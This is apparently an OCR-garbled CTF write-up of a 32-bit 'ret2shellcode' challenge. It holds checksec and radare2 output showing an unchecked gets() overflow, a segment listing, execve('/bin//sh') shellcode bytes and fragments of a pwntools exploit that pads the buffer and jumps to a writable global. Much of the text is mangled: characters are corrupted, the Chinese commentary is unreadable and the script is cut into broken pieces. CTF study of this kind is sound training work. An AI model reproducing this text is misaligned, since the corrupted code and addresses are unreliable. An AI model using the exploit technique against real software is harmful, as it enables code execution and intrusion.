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1. BH ZAERE

root@kali:~/ctf/Other/pwn

[*]
Arch: 1386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PTE: No PIE (0x8048000)
RWX: Has RWX segments
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[0x08048430]

entryo@

sym.imp. libc_start_main
sym.deregister_tm_clones
sym.register_tm_clones
entry.finie

entry.inite
sym.__libc_csu_fini

sym. _x86.get_pc_thunk.bx

sym._fini

sym.__libc_csu_init
main
sym.imp.setvbuf
sym.imp.puts
sym.imp.gets
sym.imp.strncpy
sym.imp.printf
sym._init
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loc.imp.__gmon_start
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1. sym.imp.gets : A REAF7E i

AR

T mainek HU I

0x0804858c¢ 8d44241c lea eax, dword [var_1ch] ; .//ret2shellcode.c:14
0x08048590 890424 mov dword [esp], eax

0x08048593 e838feffff call sym.imp.gets

0x08048598 c74424086400. mov dword [var_8h], ox64 ; .//ret2shellcode.c:15 ; 'd'

[0x64:4]=-1 ; 100

0x080485a0 8d44241c lea eax, dword [var_1ch]

0x080485a4 89442404 mov dword [var_4h], eax

0x080485a8 Cc7042480a004. mov dword [esp], obj.buf2 ; [0x8042080:4]=0
0x080485af e86¢cfeffff call sym.imp.strncpy

X H A HgetsfEER H, FRAIRK/NA1ch, I H¥Hi N )% 77 A\ obj.buf2£10x804208017 & .
payload

fi13:— shellcode

IF
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[0x0804852d]> iSS

[Segments]

Nm Paddr Size Vaddr Memsz Perms Name
0x00000034 288 0x08048034 288 -r-x PHDR
0x00000154 19 0x08048154 19 -r-- INTERP
0x00000000 1896 Ox08048000 1896 -r-x LOADO
0x00000108 296 0x08049f08 476 -rw- LOAD1
0x00000114 232 0x08049f14 232 DYNAMIC
0x00000168 68 0x08048168 68 NOTE
0x0000068C 44 0x0804868cC 44 GNU_EH_FRAME
0x00000000 0 0x00000000 0 GNU_STACK
0x00000108 0x08049108 GNU_RELRO
0x00000000 52 0x08048000 52 ehdr
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\X31\xc9\x31\xd2\x31\xcO\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6e\x89\xe3\xbo\x0b\xcd\x80

payload.ljust(108 + 0x4,

p32(0x8042080)
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exp

from pwn import

context.log_level
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process(

(ex1c

conn.recvuntil(

conn.send(payload)

conn.recvuntil(
conn.interactive()

ox4)
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